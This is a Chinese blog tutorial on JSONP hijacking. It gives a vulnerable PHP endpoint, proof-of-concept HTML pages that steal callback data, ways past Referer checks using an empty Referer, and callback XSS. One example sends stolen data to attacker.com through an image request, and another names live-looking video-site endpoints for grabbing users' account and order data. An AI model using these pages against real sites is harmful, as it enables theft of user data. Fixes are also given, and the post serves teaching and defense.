浅谈JSONP劫持漏洞

JSONP

JSONP的全称是JSON with Padding,是一种基于JSON格式来解决跨域请求资源的方案。

由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同(域名、协议、端口)的资源,对请求脚本资源没有限制。

原理:客户端通过请求脚本标签发送跨域请求,然后服务器输出JSON数据并执行回调函数。这种跨域数据输出方式称为JSONP。简单原理说明:使用

可能造成的危险
JSONP数据劫持
没有过滤导致的回调xss
JSONP 劫持示例

# Server request address: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";

# Client request address: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp</title>
</head>
<body>
    jsonp hijack test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
    </script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>

JSONP劫持绕过方法

引用过滤(常规)不严格,
例如http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback 输出数据时,验证Referer

但不幸的是,它只验证关键字 aphp. 测试存在于 Referer 中。
那么攻击者可以构造url:http://127.0.0.1/aphp.test.html或http://127.0.0.1/attack.htm?aphp.测试

构造这样的url发起攻击绕过Referer防御

空引用绕过
有时候开发者在过滤的时候会允许Referer来源为空,因为正常情况下浏览器直接访问一个没有Referer的URL,所以我们有时候可以利用这个特性来绕过

# Use the <meta> tag to implement an empty Referer
<!DOCTYPE html>
<html lang='en'>
<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
    </script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
# Use the <iframe> tag to call the javscript pseudo-protocol to implement an empty Referer call JSON file
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php? callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>

回调可以定义引起的安全问题
一般开发中,前端可以很方便的调用,一般输出Callback都是可定制的,如果过滤不严格,或者Content-Type设置不合适,就会导致xss

注意:严格来说,如果输出数据也是攻击者可控的话,也可能会造成危害,但是本文强调的是Callback
Test一段代码的输出点,如下

<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";

测试 HTML 代码

<!DOCTYPE html>
<html lang='en'>

<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp hijack</title>
</head>

<body>
    https://v.qq.com jsonp hijacking
</body>
    <!-- Hijacking the user's QQ number can be used for promotion -->
    <script>function jc(data){alert(JSON.stringify(data));}</script>
    <script src="http://node.video.google.com/x/api/get_2029?callback=jc&_=1542534620161"></script>

    <!-- Hijack the user's order data -->
    <script>function jc2(data){alert(JSON.stringify(data));}</script>
    <script src="http://like.video.google.com/fcgi-bin/flw_new?otype=json&sn=FollowServer&cmd=2562&pidx=0&size=30&dtype=0&type=0&callback=jc2&_=1542536629083"></script>
</html>

JSONP 修复

验证 HTTP Referer 标头信息。
将 csrfToken 添加到请求中并在后端验证它。
JSON 格式的标准输出,Content-Type 设置为 (Content-Type : application/json; charset=utf-8)。
严格过滤回调函数名和输出的JSON数据(防止xss)

### JSONP 劫持原理 JSONPJSON with Padding)是一种通过 `<script>` 标签绕过浏览器同源策略的技术。它的核心机制在于利用了 `<script>` 标签可以加载跨域资源的能力,而这种能力不受同源政策限制。然而,由于 JSONP 的设计缺陷,可能导致安全风险。 #### 原理分析 JSONP 请求通常由服务器返回一段 JavaScript 代码,这段代码会被客户端动态执行。假设存在一个支持 JSONP 的接口 `http://example.com/api?callback=foo`,该接口会返回如下形式的数据: ```javascript foo({"key": "value"}); ``` 这里的 `foo` 是客户端指定的一个函数名,用于处理返回的结果。如果攻击者能够控制回调函数的内容或者用户的访问环境,则可能引发安全性问题。 具体来说,JSONP 劫持主要依赖于以下几个条件: 1. **目标网站提供 JSONP 支持**:即允许用户自定义 callback 参数。 2. **受害者登录状态可被利用**:例如,攻击者能获取到受害者的 Cookie 或其他认证信息。 3. **恶意脚本注入**:攻击者可以在第三方页面中嵌入 `<script>` 标签指向目标 API 地址,并设置自己的回调函数名称。 一旦上述条件满足,攻击者就可以通过构造合适的 URL 和回调函数窃取敏感数据[^1]。 --- ### 利用方式 以下是典型的 JSONP 劫持过程描述: 1. **准备阶段** - 攻击者创建一个网页,在其中加入以下 HTML 片段: ```html <script> function maliciousCallback(data) { alert('Stolen data: ' + JSON.stringify(data)); // 将盗取的信息发送至远程服务器 var img = new Image(); img.src = "http://attacker.com/log?" + encodeURIComponent(JSON.stringify(data)); } </script> <script src="http://vulnerable-site.com/api?callback=maliciousCallback"></script> ``` 2. **触发阶段** - 当用户访问此恶意网页时,浏览器会向 `http://vulnerable-site.com/api?callback=maliciousCallback` 发起请求。 - 如果用户已登录到 `vulnerable-site.com` 并携带有效 Session ID (Cookie),那么响应将包含受保护的数据。 3. **后果** - 返回的数据会被传递给 `maliciousCallback()` 函数并被执行。 - 此过程中,敏感信息可能会泄露给攻击者。 需要注意的是,现代 Web 应用已经逐渐淘汰了纯 JSONP 方案,转而使用 CORS 来解决跨域资源共享需求,从而减少此类安全隐患的发生概率[^5]。 --- ### 防护措施建议 为了防止 JSONP 被滥用造成危害,可以从多个角度采取防护手段: - 不再对外公开支持任意参数命名的 JSONP 接口; - 对所有 GET 请求实施严格的 CSRF Token 校验; - 使用 HTTPS 加密通信链路以降低中间人攻击的风险; - 教育开发者避免在生产环境中暴露未授权即可调用的服务端点。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q shen

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值